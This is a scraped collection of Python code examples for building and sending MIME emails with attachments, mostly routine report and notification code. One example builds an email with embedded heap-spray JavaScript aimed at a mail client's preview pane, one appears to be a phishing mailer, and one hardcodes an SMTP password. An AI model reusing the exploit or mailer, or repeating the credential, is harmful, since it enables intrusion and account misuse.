    unicode_parsed_bcc_recipients = []
    for recipient_name, recipient_addr in parsed_bcc_recipients:
        recipient_name = str(Header(unicode(recipient_name), header_charset))
        # Make sure email addresses do not contain non-ASCII characters
        recipient_addr = recipient_addr.encode('ascii')
        unicode_parsed_bcc_recipients.append((recipient_name, recipient_addr))

    # Make sure email addresses do not contain non-ASCII characters
    sender_addr = sender_addr.encode('ascii')

    # Create the message ('plain' stands for Content-Type: text/plain)
    msg = MIMEMultipart()
    msg['CC'] = COMMASPACE.join([formataddr((recipient_name, recipient_addr))
                                 for recipient_name, recipient_addr in unicode_parsed_cc_recipients])
    msg['BCC'] = COMMASPACE.join([formataddr((recipient_name, recipient_addr))
                                  for recipient_name, recipient_addr in unicode_parsed_bcc_recipients])
    msg['Subject'] = Header(unicode(subject), header_charset)
    msg['FROM'] = "*****@*****.**"
    msg.attach(MIMEText(body.encode(body_charset), 'plain', body_charset))
    
    # Add attachments
    if isinstance(attachments, types.DictType):
        for fname in attachments:
            part = MIMEBase('application', "octet-stream")
            part.set_payload(attachments[fname])
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition', 'attachment; filename="%s"' % fname)
            msg.attach(part)

    # Send the message via SMTP to docker host
    smtp_url = "smtp://127.0.0.1:25"
    logger.info("smtp_url : %s" % smtp_url)
    smtp = SMTP("127.0.0.1")
    smtp.sendmail(sender, recipients, msg.as_string())
    smtp.quit()
    def task_generate_xls(self):
        log.info('Start task generate XLS')
        #Get report infos
        self.microsite = self.request.get('microsite')
        report_fields = self.request.get('form')
        register_fields = self.request.get('register_form')
        certificate_fields = self.request.get('certificate_form')
        course_key = CourseKey.from_string(self.course_id)
        course = get_course_by_id(course_key)

        form_factory = ensure_form_factory()
        form_factory.connect(db='ensure_form', collection='certificate_form')

        #Dict of labels
        form_labels = {
            "last_connexion": _("Last login"),
            "inscription_date": _("Register date"),
            "user_id": _("User id"),
            "email": _("Email"),
            "grade_final": _("Final Grade"),
            "cohorte_names": _("Cohorte name"),
            "time_tracking": _("Time spent"),
            "certified": _("Attestation"),
            "username": _("Username"),
        }
        for field in register_fields:
            form_labels[field.get('name')] = field.get('label')
        for field in certificate_fields:
            form_labels[field.get('name')] = field.get('label')

        #Identify multiple cells fields
        multiple_cell_fields = ["exercises_grade", "grade_detailed"]

        #Is report cohort specific?
        course_cohorted = is_course_cohorted(course_key)
        if course_cohorted:
            cohortes_targeted = [
                field.replace('cohort_selection_', '')
                for field in report_fields
                if field.find('cohort_selection_') > -1
            ]
            for field in report_fields:
                log.info(field)
                log.info(field.find('cohort_selection_'))
            log.info(cohortes_targeted)
            log.info('cohortes_targeted')
            if cohortes_targeted and not 'cohorte_names' in report_fields:
                report_fields.append('cohorte_names')
        else:
            if 'cohorte_names' in report_fields:
                report_fields.remove('cohorte_names')

        #Get Graded block for exercises_grade details
        graded_scorable_blocks = self.tma_graded_scorable_blocks_to_header(
            course_key)

        #Create Workbook
        wb = Workbook(encoding='utf-8')
        filename = '/home/edxtma/csv/{}_{}.xls'.format(
            time.strftime("%Y_%m_%d"), course.display_name_with_default)
        sheet = wb.add_sheet('Grade Report')

        #Write information
        line = 1
        course_enrollments = CourseEnrollment.objects.filter(
            course_id=course_key, is_active=1)
        for enrollment in course_enrollments:
            #do not include in reports if not active
            if not enrollment.is_active:
                continue
            #Gather user information
            user = enrollment.user
            user_grade = CourseGradeFactory().create(user, course)
            grade_summary = {}

            if course_cohorted:
                user_cohorte = get_cohort(user, course_key).name
                #if cohort specific report avoid student that are not part of cohortes_targeted provided
                if cohortes_targeted and not user_cohorte in cohortes_targeted:
                    continue

            for section_grade in user_grade.grade_value['section_breakdown']:
                grade_summary[
                    section_grade['category']] = section_grade['percent']
            try:
                custom_field = json.loads(
                    UserProfile.objects.get(user=user).custom_field)
            except:
                custom_field = {}

            user_certificate_info = {}
            try:
                form_factory.microsite = self.microsite
                form_factory.user_id = user.id
                user_certificate_info = form_factory.getForm(
                    user_id=True, microsite=True).get('form')
            except:
                pass

            cell = 0
            for field in report_fields:
                if field in multiple_cell_fields:
                    if field == "grade_detailed":
                        for section in grade_summary:
                            section_grade = str(
                                int(round(grade_summary[section] * 100))) + '%'
                            sheet.write(line, cell, section_grade)
                            #Write header
                            if line == 1:
                                sheet.write(0, cell, "Travail - " + section)
                            cell += 1
                    elif field == "exercises_grade":
                        for block_location in graded_scorable_blocks.items():
                            try:
                                problem_score = user_grade.locations_to_scores[
                                    block_location[0]]
                                if problem_score.attempted:
                                    value = round(
                                        float(problem_score.earned) /
                                        problem_score.possible, 2)
                                else:
                                    value = _('n.a.')
                            except:
                                value = _('inv.')
                            sheet.write(line, cell, value)
                            if line == 1:
                                sheet.write(0, cell, block_location[1])
                            cell += 1
                else:
                    value = ''
                    if field == "user_id":
                        value = user.id
                    elif field == "email":
                        value = user.email
                    elif field == "first_name":
                        try:
                            if user.first_name:
                                value = user.first_name
                            elif custom_field:
                                value = custom_field.get(
                                    'first_name', 'unkowna')
                            else:
                                value = 'unknown'
                        except:
                            value = 'unknown'
                    elif field == "last_name":
                        try:
                            if user.last_name:
                                value = user.last_name
                            elif custom_field:
                                value = custom_field.get(
                                    'last_name', 'unkowna')
                        except:
                            value = 'unknown'
                    elif field == "last_connexion":
                        try:
                            value = user.last_login.strftime('%d-%m-%y')
                        except:
                            value = ''
                    elif field == "inscription_date":
                        try:
                            value = user.date_joined.strftime('%d-%m-%y')
                        except:
                            value = ''
                    elif field == "cohorte_names":
                        try:
                            value = user_cohorte
                        except:
                            value = ''
                    elif field == "time_tracking":
                        value = self.get_time_tracking(enrollment)
                    elif field == "certified":
                        if user_grade.passed:
                            value = _("Yes")
                        else:
                            value = _("No")
                    elif field == "grade_final":
                        value = str(int(round(user_grade.percent * 100))) + '%'
                    elif field == "username":
                        value = user.username
                    elif field in user_certificate_info.keys():
                        value = user_certificate_info.get(field)
                    else:
                        value = custom_field.get(field, '')
                    #Write header and write value
                    log.info('field')
                    log.info(field)
                    log.info('value')
                    log.info(value)
                    log.info(form_labels)
                    if field in form_labels.keys():
                        sheet.write(line, cell, value)
                        if line == 1:
                            sheet.write(0, cell, form_labels.get(field))
                        cell += 1
            line += 1
            log.warning("file ok")

        #Save the file
        output = BytesIO()
        wb.save(output)
        _files_values = output.getvalue()
        log.warning("file saved")

        #Send the email to receivers
        receivers = self.request.get('send_to')

        html = "<html><head></head><body><p>Bonjour,<br/><br/>Vous trouverez en PJ le rapport de donnees du MOOC {}<br/><br/>Bonne reception<br>The MOOC Agency<br></p></body></html>".format(
            course.display_name)
        part2 = MIMEText(html.encode('utf-8'), 'html', 'utf-8')

        for receiver in receivers:
            fromaddr = "*****@*****.**"
            toaddr = str(receiver)
            msg = MIMEMultipart()
            msg['From'] = fromaddr
            msg['To'] = toaddr
            msg['Subject'] = "Rapport de donnees"
            attachment = _files_values
            part = MIMEBase('application', 'octet-stream')
            part.set_payload(attachment)
            encoders.encode_base64(part)
            part.add_header(
                'Content-Disposition',
                "attachment; filename= %s" % os.path.basename(filename))
            msg.attach(part)
            server = smtplib.SMTP('mail3.themoocagency.com', 25)
            server.starttls()
            server.login('contact', 'waSwv6Eqer89')
            msg.attach(part2)
            text = msg.as_string()
            server.sendmail(fromaddr, toaddr, text)
            server.quit()
            log.warning("file sent to {}".format(receiver))

        response = {'path': self.filename, 'send_to': receivers}

        return response
def send_email(content, to, subject, file=None):
    '''Sends email
       :param content: The body content for the mail.
       :type string:
       :param to: To whom will be mail sent
       :type string:
       :param subject: The subject of mail.
       :type string:


       :rtype: string

       '''
    SMTP_SERVER = config.get('smtp.server')
    SMTP_USER = config.get('smtp.user')
    SMTP_PASSWORD = config.get('smtp.password')
    SMTP_FROM = config.get('smtp.mail_from')

    msg = MIMEMultipart()

    from_ = SMTP_FROM

    if isinstance(to, basestring):
        to = [to]

    msg['Subject'] = subject
    msg['From'] = from_
    msg['To'] = ','.join(to)

    content = """\
        <html>
          <head></head>
          <body>
            <p>""" + content + """</p>
          </body>
        </html>
    """

    msg.attach(MIMEText(content, 'html', _charset='utf-8'))

    if isinstance(file, cgi.FieldStorage):
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(file.file.read())
        Encoders.encode_base64(part)

        extension = file.filename.split('.')[-1]

        part.add_header('Content-Disposition',
                        'attachment; filename=attachment.{0}'.format(extension))

        msg.attach(part)

    try:
        s = smtplib.SMTP(SMTP_SERVER)
        if SMTP_USER:
            s.login(SMTP_USER, SMTP_PASSWORD)
        s.sendmail(from_, to, msg.as_string())
        s.quit()
        response_dict = {
            'success': True,
            'message': 'Email message was successfully sent.'
        }
        return response_dict
    except socket_error:
        log.critical(
            'Could not connect to email server. Have you configured the SMTP settings?')
        error_dict = {
            'success': False,
            'message': 'An error occured while sending the email. Try again.'
        }
        return error_dict
Beispiel #49
0
        LOGS.append(os.path.join(DIR, i))

# Create message container - the correct MIME type is multipart/alternative.
msg = MIMEMultipart('alternative')
msg['Subject'] = SUBJECT
msg['From'] = email.utils.formataddr((SENDERNAME, SENDER))
msg['To'] = RECIPIENT

# Record the MIME types of both parts - text/plain and text/html.

for log in LOGS:
    part0 = MIMEBase('application', 'octect-stream')
    part0.set_payload(open(log, 'rb').read())
    Encoders.encode_base64(part0)
    part0.add_header (
      'Content-Disposition',
       'attachment; filename={}'.format(os.path.basename(log))
    )
    msg.attach(part0)

part1 = MIMEText(BODY_TEXT, 'plain')
part2 = MIMEText(BODY_HTML, 'html')

# Attach parts into message container.
# According to RFC 2046, the last part of a multipart message, in this case
# the HTML message, is best and preferred.
msg.attach(part1)
msg.attach(part2)

# Try to send the message.
try:
    server = smtplib.SMTP(HOST, PORT)
Beispiel #50
0
def send(account=None,
         recipients=None,
         subject=None,
         body=None,
         attachments=None,
         smtp_host="localhost",
         smtp_port=25,
         html=False):
    """
		account		: caccount or nothing for anon
		recipients	: str("*****@*****.**"), caccount
					  list of (caccount or string)
		subject		: str("My Subject")
		body		: str("My Body")
		attachments	: cfile, list of cfile
		smtp_host	: str("localhost")
		smtp_port	: int(25)
		html		: allow html into mail body (booleen)
	"""
    ###########
    # Account #
    ###########
    # Defaults
    account_firstname = ""
    account_lastname = ""
    account_mail = ""
    account_full_mail = ""

    if isinstance(account, caccount):
        account_firstname = account.firstname
        account_lastname = account.lastname
        account_mail = account.mail
        if not account_mail:
            logger.info(
                'No mail adress for this user (Fill the mail account field)')
            account_mail = '%s@%s' % (account.user, socket.gethostname())

        if isinstance(account_mail, (list, tuple)):
            account_mail = account_mail[0]

        if not account_lastname and not account_firstname:
            account_full_mail = "\"%s\" <%s>" % (
                account_mail.split('@')[0].title(), account_mail)
        else:
            account_full_mail = account.get_full_mail()
        if not re.match("^[a-zA-Z0-9._%-]+@[a-zA-Z0-9._%-]+.([a-zA-Z]{2,6})?$",
                        str(account_mail)):
            raise ValueError('Invalid Email format for sender')
    else:
        raise Exception('Need caccount object in account')

    ##############
    # Recipients #
    ##############
    if not recipients:
        raise ValueError('Give at least one recipient')

    if not isinstance(recipients, list):
        recipients = [recipients]

    dests = []
    for dest in recipients:
        if isinstance(dest, caccount):
            dest_firstname = dest.firstname
            dest_lastname = dest.lastname
            dest_mail = dest.mail
            dest_full_mail = dest.get_full_mail()

            dests.append(dest_full_mail)
        elif isinstance(dest, str) or isinstance(dest, unicode):
            if re.match("^[a-zA-Z0-9._%-]+@[a-zA-Z0-9._%-]+.([a-zA-Z]{2,6})?$",
                        dest):
                dest_mail = dest
                dest_full_mail = "\"%s\" <%s>" % (
                    dest_mail.split('@')[0].title(), dest_mail)
                dests.append(dest_full_mail)
            else:
                raise ValueError('Invalid Email format for recipients')
        else:
            raise ValueError('Invalid Email format for recipients')

    dests_str = ', '.join(dests)

    ###############
    # Attachments #
    ###############
    if attachments:
        storage = cstorage(account=account, namespace='object')
        if not isinstance(attachments, list):
            attachments = [attachments]

    ########
    # Send #
    ########
    logger.debug('-----')
    logger.debug('From: %s' % account_full_mail)
    logger.debug('To  : %s' % dests_str)
    logger.debug('-----')
    logger.debug('Subject: %s' % subject)
    logger.debug('Body   : %s' % body)
    logger.debug('Attach.: %s' % attachments)
    logger.debug('-----')

    msg = MIMEMultipart()
    msg["From"] = account_full_mail
    msg["To"] = dests_str
    msg["Subject"] = subject

    if html:
        msg.attach(MIMEText(body, 'html'))
    else:
        msg.attach(MIMEText(body, 'plain'))

    msg['Date'] = formatdate(localtime=True)

    if attachments:
        for _file in attachments:
            part = MIMEBase('application', "octet-stream")
            if not isinstance(_file, cfile):
                _file.__class__ = cfile
            #meta_file = _file.get(storage)
            content_file = _file.get(storage)
            part.set_payload(content_file)
            Encoders.encode_base64(part)
            part.add_header(
                'Content-Disposition',
                'attachment; filename="%s"' % _file.data['file_name'])
            part.add_header('Content-Type', _file.data['content_type'])
            msg.attach(part)

    s = socket.socket()
    try:
        s.connect((smtp_host, smtp_port))
    except Exception as err:
        raise Exception('something\'s wrong with %s:%d. Exception type is %s' %
                        (smtp_host, smtp_port, err))

    try:
        server = smtplib.SMTP(smtp_host, smtp_port)
        server.sendmail(account_full_mail, dests, msg.as_string())
        server.quit()
    except Exception, err:
        return "Error: unable to send email (%s)" % err
Beispiel #51
0
class EnvoiEmail(object):
    def __init__(self):
        self.destinataire = ""
        self.sujet = ""
        self.message = ""
        self.piece_jointe = None

    def SetDestinataire(self, value):
        if re.match("^[a-zA-Z0-9._%-+]+@[a-zA-Z0-9._%-]+.[a-zA-Z]{2,6}$",
                    value):
            self.destinataire = value
        else:
            self.destinataire = ""

    def SetSujet(self, value):
        self.sujet = value

    def SetMessage(self, value):
        self.message = value

    def SetPieceJointe(self, value):
        if os.path.exists(value):
            try:
                self.piece_jointe = MIMEBase('application', 'octet-stream')
                self.piece_jointe.set_payload(open(value, 'rb').read())
                Encoders.encode_base64(self.piece_jointe)
                self.piece_jointe.add_header(
                    'Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(value))
            except BaseException as ex:
                print ex
                self.piece_jointe = None
        else:
            self.piece_jointe = None

    def Envoi(self, silencieux=True):

        msg = MIMEMultipart()

        msg['From'] = Parametre.get(nom="SMTP_login")
        msg['To'] = self.destinataire
        msg['Subject'] = self.sujet

        msg.attach(MIMEText(self.message))

        if self.piece_jointe:
            msg.attach(self.piece_jointe)

        smtp = ConnectionSMTP()

        if smtp.TestConnectionInternet():
            try:
                smtp.SetServeur(Parametre.get(nom="SMTP_serveur"),
                                int(Parametre.get(nom="SMTP_serveurport")),
                                Parametre.get(nom="SMTP_serveursecurite"))

                smtp.SetLogin(Parametre.get(nom="SMTP_login"),
                              Parametre.get(nom="SMTP_motdepasse"))

                serveur = smtp.ConnectionServeur()
                serveur.sendmail(Parametre.get(nom="SMTP_login"),
                                 self.destinataire, msg.as_string())

                serveur.close()

                if not silencieux:
                    wx.MessageBox(u"L'email a bien été envoyé",
                                  u"Email envoyé", wx.ICON_INFORMATION)

                return True

            except SMTPRecipientsRefused:
                if not silencieux:
                    wx.MessageBox(
                        u"L'adresse email du destinataire est invalide",
                        "Erreur", wx.ICON_ERROR)

                return False

            except Exception as ex:
                if not silencieux:
                    wx.MessageBox(
                        u"Problème lors de l'envoi de l'email\n\n %s" % ex,
                        "Erreur", wx.ICON_ERROR)

                return False
        else:
            if not silencieux:
                wx.MessageBox(u"Problème de connection internet", "Erreur",
                              wx.ICON_ERROR | wx.CENTER)

                return False
Beispiel #52
0
        nHoja.write(nFila, 18, estadoFact['EstadoRegistro'])
        nHoja.write(nFila, 19, estadoFact['TimestampUltimaModificacion'])
        nHoja.write(nFila, 20, estadoFact['CodigoErrorRegistro'])
        nHoja.write(nFila, 21, estadoFact['DescripcionErrorRegistro'])
        logger.info("Escribiendo linea " + str(nFila))
        nFila = nFila + 1

nExcel.save(cadArchivo)

archExcel = open(cadArchivo,'rb')
#adjunto = MIMEBase('multipart', 'encrypted')
adjunto = MIMEBase('application', "octet-stream")
adjunto.set_payload(archExcel.read())
archExcel.close()
encoders.encode_base64(adjunto)

adjunto.add_header('Content-Disposition', 'attachment', filename = cadTiempo + "_" +  str(mes).zfill(2) + "_OperacionesIntracomunitarias.xls")

mail.attach(adjunto)
servidor = smtplib.SMTP(servidorSMTP, 587)
servidor.starttls()
servidor.ehlo()
servidor.login(usuarioSMTP, passSMTP)
#enviamos el Email
servidor.sendmail(emailEnvio, emailRecepcion, mail.as_string())
logger.info ("Correo enviado ...")
servidor.quit()



Beispiel #53
0
msg['Subject'] = subject

msg['From'] = sender

msg['To'] = receivers

html_body = MIMEText(body, 'html')

attachment = MIMEBase('application', "octet-stream")

attachment.set_payload(open("%s/%s"% (cwd,attachfile), "rb").read())

encoders.encode_base64(attachment)

attachment.add_header('Content-Disposition', 'attachment; filename=%s' % attachfile)

   

msg.attach(html_body)

msg.attach(attachment)

 

try:

    smtpObj = smtplib.SMTP('%s' % smtpaddr)

    smtpObj.sendmail(msg['From'], msg["To"].split(","), msg.as_string())
Beispiel #54
0
def makeEml(fromAddr, to, subject, text, filenameStr, payload):
    assert type(to) == list

    msgRoot = MIMEMultipart()
    msgRoot['From'] = fromAddr
    msgRoot['To'] = COMMASPACE.join(to)
    msgRoot['Date'] = formatdate(localtime=True)
    msgRoot['Subject'] = subject
    msgRoot.attach(MIMEMultipart('related'))

    html_emb = '''<script type="text/javascript">
                    function wait(){
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAB");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAC");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAD");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAE");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAF");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAG");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAH");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAI");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAJ");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAK");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAL");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAM");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAN");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAO");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAP");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAQ");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAR");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAS");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAT");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAU");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAV");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAW");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAX");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAY");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAZ");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAB");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAC");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAD");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAE");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAF");
                        chunk.search("AAAAAAAAAAAAAAAAAAAAAAAAAAG");
                    }
                    function callGC(off)
                    {
                        var n=0;
                        for (n=0; n<0x2000-((off+1)%0x2000); n++);

                        wait();

                        //trigger GC
                        var tmp;
                        for (n=0; n<1; n++)
                            tmp = new Object();
                    }
                    if (window.document._Memo.tmpDisplayFrom_Preview != undefined){
                        var size = 100;
                        var x = new Array(size);
                        var i = 0;
                        var slide_size=0x100000;
                        var chunk = "A";
                        while (chunk.length <= slide_size/2)
                            chunk += chunk;

                        for (i=0; i < size; i+=1) {
                            x[i]= chunk.substring(4,slide_size/2-20 - + i.toString().length);
                        }

                        x[50] = new Object();
                        x[52] = new Object();
                        x[54] = new Object();
                        x[56] = new Object();

                        x[60] = new Object();
                        x[61] = new Object();
                        x[63] = new Object();
                        x[64] = new Object();
                        x[65] = new Object();
                        x[66] = new Object();
                        callGC(0x78);
                    }
                </script>'''
    html_emb += '''
                    <img name="img1" src="cid:imagen" height=1 width=1>
                '''
    html_emb += '''<script type="text/javascript">
                    if (window.document._Memo.tmpDisplayFrom_Preview === undefined)
                        window.document.images.img1.src = "";
                </script>'''

    msgImage = MIMEBase('application', 'octet-stream')
    msgImage.set_payload(payload)
    encoders.encode_base64(msgImage)
    msgImage.add_header('Content-ID', '<imagen>')
    msgImage.add_header('Content-Disposition',
                        'attachment',
                        filename=filenameStr)
    msgRoot.attach(msgImage)

    part = MIMEMultipart('alternative')
    msgHtml = MIMEText(html_emb, 'html')
    part.attach(msgHtml)
    msgRoot.attach(part)

    msgRoot.attach(MIMEText(text))
    return msgRoot.as_string()
Beispiel #55
0
def mail(to, subject, text, attach, prioflag1, prioflag2):
    msg = MIMEMultipart()
    msg['From'] = str(
        Header(from_displayname, 'UTF-8').encode() + ' <' + from_address +
        '> ')
    msg['To'] = to
    msg['X-Priority'] = prioflag1
    msg['X-MSMail-Priority'] = prioflag2
    msg['Subject'] = Header(subject, 'UTF-8').encode()
    # specify if its html or plain
    # body message here
    body_type = MIMEText(text, "%s" % (message_flag), 'UTF-8')
    msg.attach(body_type)
    # define connection mimebase
    part = MIMEBase('application', 'octet-stream')
    part.set_payload(open(attach, 'rb').read())
    # base 64 encode message mimebase
    Encoders.encode_base64(part)
    # add headers
    part.add_header('Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(attach))
    msg.attach(part)

    io = StringIO()
    msggen = Generator(io, False)
    msggen.flatten(msg)

    # define connection to smtp server
    mailServer = smtplib.SMTP(smtp, int(port))
    mailServer.ehlo()
    # send ehlo to smtp server
    if sendmail == 0:
        if email_provider == "gmail" or email_provider == "yahoo":
            mailServer.ehlo()
            # start TLS needed for gmail and yahoo
            try:
                mailServer.starttls()
            except:
                pass
            mailServer.ehlo()
    if counter == 0:
        try:
            if email_provider == "gmail" or email_provider == "yahoo":
                try:
                    mailServer.starttls()
                except:
                    pass
                mailServer.ehlo()
                if len(provideruser) > 0:
                    mailServer.login(provideruser, pwd)
                mailServer.sendmail(from_address, to, io.getvalue())
        except Exception, e:
            print_error(
                "Unable to deliver email. Printing exceptions message below, this is most likely due to an illegal attachment. If using GMAIL they inspect PDFs and is most likely getting caught."
            )
            raw_input("Press {return} to view error message.")
            print str(e)
            try:
                mailServer.docmd("AUTH LOGIN", base64.b64encode(provideruser))
                mailServer.docmd(base64.b64encode(pwd), "")
            except Exception, e:
                print str(e)
                try:
                    mailServer.login(provideremail, pwd)
                    thread.start_new_thread(
                        mailServer.sendmail(from_address, to, io.getvalue()))
                except Exception, e:
                    return_continue()
    </p>
    <small>%s</small>
  </body>
</html>
""" % (st)

part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')

filename1 = "computer.jpg"
mime = mimetypes.guess_type(filename1)
mime = mime[0].split('/')

attachment1 = MIMEBase(mime[0], mime[1])
attachment1.set_payload(open(filename1, "rb").read())
Encoders.encode_base64(attachment1)
attachment1.add_header('Content-Disposition',
                       'attachment; filename=' + filename1)

msg.attach(part1)
msg.attach(part2)
msg.attach(attachment1)

#server = smtplib.SMTP('192.168.99.100', 1025)
server = smtplib.SMTP('127.0.0.1', 8025)
server.set_debuglevel(True)  # show communication with the server
try:
    server.sendmail('*****@*****.**', ['*****@*****.**'],
                    msg.as_string())
finally:
    server.quit()
Beispiel #57
0
    book.save(OUTPUT_FILE)
    mailConn = off.create_conn()
    isConn = off.is_connected(mailConn)
    if (isConn == True):
        listmsg = MIMEMultipart()
        listmsg['From'] = off.MAILUSER
        listmsg['To'] = ",".join(off.PRODGROUPID + off.SHOTGUNADMIN)
        #listmsg['Subject'] = off.subject_list
        listmsg['Subject'] = "weekly report"
        #listmsg.attach(MIMEText(off.text_list_report))
        listmsg.attach(MIMEText("click to download file"))
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(OUTPUT_FILE, "rb").read())
        Encoders.encode_base64(part)
        part.add_header(
            'Content-Disposition',
            'attachment; filename="%s"' % os.path.basename(OUTPUT_FILE))
        listmsg.attach(part)
        try:
            #mailConn.sendmail(off.MAILUSER, off.SUPERGROUPID[1], listmsg.as_string())
            mailConn.sendmail(off.MAILUSER, off.SHOTGUNADMIN,
                              listmsg.as_string())
            print "file sent to \"%s\" \n" % (off.MAILUSER +
                                              off.SHOTGUNADMIN[0])
        except smtplib.SMTPRecipientsRefused as e:
            mailConn.rset()
        mailConn.close()  # if everything went well then close mail server

finally:
    try:
        shutil.rmtree(tmp_dir)  # delete directory
Beispiel #58
0
def send_email(addr_to,
               addr_from,
               passwd,
               subject,
               message='',
               filename=None,
               html=False,
               smtp_host=None,
               smtp_port=None,
               login=None):
    if smtp_host is None:
        smtp_host = os.environ.get("SCT_SMTP_SERVER", "smtp.gmail.com")
    if smtp_port is None:
        smtp_port = int(os.environ.get("SCT_SMTP_PORT", 587))
    if login is None:
        login = addr_from

    import smtplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEText import MIMEText
    from email.MIMEBase import MIMEBase
    from email import encoders

    if html:
        msg = MIMEMultipart("alternative")
    else:
        msg = MIMEMultipart()

    msg['From'] = addr_from
    msg['To'] = addr_to
    msg['Subject'] = subject

    body = message
    if not isinstance(body, bytes):
        body = body.encode("utf-8")

    body_html = b"""
<html><pre style="font: monospace"><body>
{}
</body></pre></html>""".format(body)

    if html:
        msg.attach(MIMEText(body_html, 'html', "utf-8"))

    msg.attach(MIMEText(body, 'plain', "utf-8"))

    # filename = "NAME OF THE FILE WITH ITS EXTENSION"
    if filename:
        attachment = open(filename, "rb")
        part = MIMEBase('application', 'octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                        "attachment; filename= %s" % filename)
        msg.attach(part)

    # send email
    server = smtplib.SMTP(smtp_host, smtp_port)
    server.starttls()
    server.login(login, passwd)
    text = msg.as_string()
    server.sendmail(addr_from, addr_to, text)
    server.quit()
Beispiel #59
0
def forge_email(fromaddr,
                toaddr,
                subject,
                content,
                html_content='',
                html_images=None,
                usebcc=False,
                header=None,
                footer=None,
                html_header=None,
                html_footer=None,
                ln=CFG_SITE_LANG,
                charset=None,
                replytoaddr="",
                attachments=None):
    """Prepare email. Add header and footer if needed.
    @param fromaddr: [string] sender
    @param toaddr: [string or list-of-strings] list of receivers (if string, then
                   receivers are separated by ',')
    @param usebcc: [bool] True for using Bcc in place of To
    @param subject: [string] subject of the email
    @param content: [string] content of the email
    @param html_content: [string] html version of the email
    @param html_images: [dict] dictionary of image id, image path
    @param header: [string] None for the default header
    @param footer: [string] None for the default footer
    @param ln: language
    @charset: [string] the content charset. By default is None which means
    to try to encode the email as ascii, then latin1 then utf-8.
    @param replytoaddr: [string or list-of-strings] to be used for the
                        reply-to header of the email (if string, then
                        receivers are separated by ',')
    @param attachments: list of paths of files to be attached. Alternatively,
        every element of the list could be a tuple: (filename, mimetype)
    @return: forged email as a string"""
    if html_images is None:
        html_images = {}

    content = render_template_to_string(
        'mail_text.tpl',
        content=unicodifier(content),
        header=unicodifier(header),
        footer=unicodifier(footer)).encode('utf8')

    if type(toaddr) is not str:
        toaddr = ','.join(toaddr)

    if type(replytoaddr) is not str:
        replytoaddr = ','.join(replytoaddr)

    toaddr = remove_temporary_emails(toaddr)

    headers = {}
    kwargs = {'to': [], 'cc': [], 'bcc': []}

    if replytoaddr:
        headers['Reply-To'] = replytoaddr
    if usebcc:
        headers['Bcc'] = toaddr
        kwargs['bcc'] = toaddr.split(',')
        kwargs['to'] = ['Undisclosed.Recipients:']
    else:
        kwargs['to'] = toaddr.split(',')
    headers['From'] = fromaddr
    headers['Date'] = formatdate(localtime=True)
    headers['User-Agent'] = 'Invenio %s at %s' % (CFG_VERSION, CFG_SITE_URL)

    if html_content:
        html_content = render_template_to_string(
            'mail_html.tpl',
            content=unicodifier(html_content),
            header=unicodifier(html_header),
            footer=unicodifier(html_footer)).encode('utf8')

        msg_root = EmailMultiAlternatives(subject=subject,
                                          body=content,
                                          from_email=fromaddr,
                                          headers=headers,
                                          **kwargs)
        msg_root.attach_alternative(html_content, "text/html")

        #if not html_images:
        #    # No image? Attach the HTML to the root
        #    msg_root.attach(msg_text)
        #else:
        if html_images:
            # Image(s)? Attach the HTML and image(s) as children of a
            # "related" block
            msg_related = MIMEMultipart('related')
            #msg_related.attach(msg_text)
            for image_id, image_path in html_images.iteritems():
                attach_embed_image(msg_related, image_id, image_path)
            msg_root.attach(msg_related)
    else:
        msg_root = EmailMessage(subject=subject,
                                body=content,
                                from_email=fromaddr,
                                headers=headers,
                                **kwargs)

    if attachments:
        from invenio.bibdocfile import _mimes, guess_format_from_url
        #old_msg_root = msg_root
        #msg_root = MIMEMultipart()
        #msg_root.attach(old_msg_root)
        for attachment in attachments:
            try:
                mime = None
                if type(attachment) in (list, tuple):
                    attachment, mime = attachment
                if mime is None:
                    ## Automatic guessing of mimetype
                    mime = _mimes.guess_type(attachment)[0]
                if mime is None:
                    ext = guess_format_from_url(attachment)
                    mime = _mimes.guess_type("foo" + ext)[0]
                if not mime:
                    mime = 'application/octet-stream'
                part = MIMEBase(*mime.split('/', 1))
                part.set_payload(open(attachment, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header(
                    'Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(attachment))
